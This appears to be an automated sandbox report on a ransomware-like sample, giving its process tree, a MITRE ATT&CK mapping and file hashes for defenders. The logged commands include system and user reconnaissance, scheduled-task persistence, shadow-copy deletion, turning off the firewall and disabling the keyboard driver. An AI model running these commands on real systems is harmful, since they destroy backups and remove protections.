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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2108 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:5308
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6020 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:4520
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2056 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3204
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2972 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:3268 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:5408
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3696 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:1092
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3716 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:5684
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\threshold.tv_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4788
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5036
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:1568
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3076
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1904
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:3732 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:1388
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2296
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:5648
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:5184
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a22055 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3956
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:2688
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C:\Users\Admin\AppData\Local\Temp\threshold.tv_hyber.exeC:\Users\Admin\AppData\Local\Temp\threshold.tv_hyber.exe1⤵PID:3284
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:1620
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:5196
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 37835f14cc414033bc33c1a3c98748083be8c9f0c96b84ebcfcea1c53af257fe
- MD5 466a5edd32b0a4472187d8f0f81a9cd7
- SHA1 c7ce35a1461f7bb78df3de103cecd2ddc7963d22
- SHA512 463a98cf24429f09eb2eb977a7d96ad0c387b7584dffc22d23e775d89f769e3c7e75be181a14d0c079354c3f6e364f2ed72fe643452a96f0ad480bd540be6ee3
- SSDEEP 1536:Z2Rveo0zwn1+7cRMa3EJd7OrjWjoo9hWojXQQdGU4I13Vxftse8E+:ZgvQzwnA81Erm+XZXQQoRIJVxftse8E+
- TLSH T1086329334B23FDC5577F3D80F1942E410C883A6787B5666CFBC90A5938A5288DF2E598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 15b2982166b379f8951ad85563593369c55356b38a09a583ac7495c5cb9e1437
- MD5 72bc6c8e81c4b98d00351745ed056dbe
- SHA1 27e15766afb5ea2ed677c3140b09491ae309822b
- SHA512 9e170a3dbf415f9546631662b2774950fd1912133b07ad5507460cfd42eca69de712644a520a0db7e2538c596a77c7d1aef988d6bca0e38d63e8a3ad790b8cf5
- SSDEEP 1536:52Rveo0zwn1+7cRMa3EJd7OrjWjoo9hWojXQQdGU4I13Vxftse8E5:5gvQzwnA81Erm+XZXQQoRIJVxftse8E5
- TLSH T1EF6329734B23FDC5577F3D80F0A42E510C883A6B8775666CFBC90A6938A5288DF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 243B
- SHA256 e49a492225ce343176452f092a9de9996402ac31f63c0ca142c69dda7d72ecec
- MD5 92291ecebb0adade703fcfa3a1b65c40
- SHA1 f3e0622edbc8c71299481f9500520c815da8d69e
- SHA512 2fb1646d6b50c0c964ab73a635771e658e13e2a61b14cc6c383ed1a103653d50913b3fced8d35174ae844e2c584611605a774f82ac508ced5e3d3679c09ac1a0
- TLSH T1F0D0A78BB14ECABD0005123B81F38E8CE6A6486C3B17BE604AA5DD4E329089589F6583
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 244B
- SHA256 5c3f2aa9a0d2cf9855024e871f71394b8454f36427e498ffaa3978645b44cff4
- MD5 589fabe27609e5edb599bc6def5d22f6
- SHA1 767f30c3e2ad52ff4c397f8b0f01443cb62d529b
- SHA512 6abc68f32ede565cb8e0b5e953c5dac51d8a34b9387fddff0e8dcbe3a6a68de49ba857f53e8968010c74d060ec629528d6bfb4fff9f5b45c61b61cce648b8ae1
- TLSH T18AD0A587714DC67D0005123B40F38E4CD6D3486C3B177E605555DD4E339045545F6583
- MD5 SHA1 SHA512 TLSH